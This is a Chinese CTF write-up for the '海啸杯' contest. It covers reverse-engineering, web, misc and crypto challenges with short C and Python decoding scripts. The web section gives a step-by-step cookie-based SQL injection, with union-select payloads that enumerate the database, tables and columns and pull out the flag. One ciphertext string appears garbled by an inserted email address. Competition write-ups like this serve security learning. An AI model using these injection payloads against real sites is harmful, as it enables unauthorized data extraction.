海啸杯部分题目write up
海啸杯部分题目write up
海啸杯reverse
baby reverse
打开string window即可查看
easy reverse
按F5查看代码
打开看到有这么一串字符
再次点开puts里面的参数
说明!strcmp(v1, v0)的值要为1,然后strcmp函数为0的时候,里面的v1=v0
已知v0的值是:kanlxvdzTljyTfyTeuor ,现在就求v1的值(即a1)
其中0xC表示十六进制,十进制是12,异或符的运算如下图,12异或12等于0,0异或一个数还是本身,所以就可以把等式左边的^12消去。然后写一个C脚本就可以得到flag
#include "stdio.h"
void main()
{ char a[20]="kanlxvdzTljyTfyTeuor";
char b[20];
int i;
for(i=0;i<20;i++)
{
b[i]=(a[i]-1)^12;
}
for(i=0;i<20;i++)
{
printf("%c", b[i]);
}
}
海啸杯web
Gzmtu学生?
打开网页看到
应该是要伪造ip和未受权访问,输入
即可得到flag
宁静致远
首先抓包,发现cookie的参数base64编码点奇怪
url解码然后base64解码后发现是1,很明显的cookie注入。
① 1'order by 2 --
查出字段为2
② -1'union select 1,2 --
查出显位为2
③-1'union select 1,database()--
查出数据库库名为ctf
④-1'union select 1,(select table_name from information_schema.tables where table_schema='ctf' limit 0,1) --
查出表名为flag
⑤-1'union select 1,(select column_name from information_schema.columns where table_schema='ctf' and table_name='flag' limit 0,1) --
查出字段名分别为id和flag
⑥-1'union select 1,(select flag from ctf.flag limit 0,1) --
查出数据flag{This_is_flag_give_you}
注意语句后面不要写成--+
而是--
,因为+是url的编码,+原本就是空格。
海啸杯misc
签到题
base64解码
import base64
f = open(r'flag.txt','r')
s = f.read()
f2 = open(r'flag.png','w')
flag = str(base64.b64decode(s))
f2.write(flag)
f2.close()
f.close()
运行一下这个python脚本即可得到flag
老烟枪
用binwalk分离一下即可得到隐藏的文件
海啸杯Cryptography
恺撒将军
/* Note:Your choice is C IDE */
#include "stdio.h"
void main()
{ char a[40]="]p{k]6wmfqozgJ<id[QidKkl[6Qy[aaa@qq.com@";
char b[40];
int i;
for(i=0;i<40;i++)
{
b[i]=a[i]-3;
}
for(i=0;i<40;i++)
{
printf("%c", b[i]);
}
}
往前偏移3位,再base64解码即可得到flag
小明家的小菜园
栅栏密码,找个网站直接解开
下一篇: 思考题解答